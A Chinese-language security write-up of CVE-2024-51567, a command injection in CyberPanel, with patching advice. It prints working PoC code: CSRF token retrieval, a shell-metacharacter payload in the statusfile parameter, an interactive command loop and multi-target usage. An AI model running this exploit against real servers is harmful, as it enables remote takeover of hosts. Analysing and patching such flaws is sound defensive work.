漏洞概述
- CVE 编号:
CVE-2024-51567 - 漏洞类型:
命令注入 / CSRF 绕过 - 受影响版本:
CyberPanel v2.3.6 和 v2.3.7(未修复版本) - 漏洞文件:
databases/views.py
中的 upgrademysqlstatus
端点 - 漏洞描述:
攻击者通过绕过 CSRF 防护(该保护仅限于 POST 请求)并在 statusfile
参数中插入 Shell 元字符,可以执行任意命令。 - 公开利用:
该漏洞被 PSAUX 团队于 2024 年 10 月发现并公开利用。 -
漏洞利用的 PoC 原理
漏洞利用的核心步骤包括:
- 获取 CSRF Token:
攻击者从目标服务器的 Cookie 中提取 CSRF Token。 - 构造恶意 Payload:
在请求中利用 statusfile
参数嵌入恶意命令,伪装为合法请求发送到upgrademysqlstatus
端点。 - 命令注入:
服务端错误地执行了嵌入的恶意命令,实现远程命令执行。
以下是漏洞利用的关键代码逻辑:
payload = {"statusfile":f";{cmd} ;"} headers = {"X-CSRFToken": csrf_token,"Referer": target_url } response = client.post(f"{target_url}/dataBases/upgrademysqlstatus", headers=headers, data=payload)
PoC 脚本解析
以下是针对该漏洞的 PoC 脚本,具备交互式命令输入、CSRF Token 获取和多目标支持等功能。
脚本核心功能
-
CSRF Token 获取
脚本通过 HTTPX 客户端获取目标服务器的 CSRF Token: -
defget_CSRF_token(client, target_url): response = client.get(target_url)return response.cookies.get("csrftoken")
命令注入
构造恶意请求并发送到漏洞端点: -
defpwn(client, target_url, csrf_token, cmd): payload = {"statusfile":f";{cmd} ;"} headers = {"X-CSRFToken": csrf_token} response = client.post(f"{target_url}/dataBases/upgrademysqlstatus", headers=headers, data=payload)print(response.text)
交互式模式
脚本支持多次命令执行,直至用户输入exit
:
whileTrue: cmd =input("shell> ")if cmd.lower() =="exit":break pwn(client, target_url, csrf_token, cmd)
使用方法
1.环境准备
-
Python 3 环境 -
安装 httpx
模块:pip install httpx
2.单目标测试
运行以下命令:
python CVE-2024-51567.py http://example.com
3.多目标测试
将目标 URL 列表保存到targets.txt
文件中,一行一个 URL:
http://target1.com http://target2.com http://target3.com
运行脚本:
python CVE-2024-51567.py targets.txt
POC地址:
https://github.com/ajayalf/CVE-2024-51567
注:POC来源于网络仅供参考与测试使用
漏洞修复建议
- 升级 CyberPanel:
官方已在commit 5b08cd6 中修复了该漏洞,建议用户立即升级至最新版本。 - 加强 CSRF 防护:
确保所有端点(包括 GET 和 POST 请求)均具备全面的 CSRF 防护。 - 输入参数校验:
对所有用户输入进行严格的参数校验,防止命令注入。 - 访问权限控制:
限制敏感端点的访问,仅允许授权用户操作。
原文始发于微信公众号(云梦安全):深入解析 CVE-2024-51567:CyberPanel 命令注入漏洞及 PoC 复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论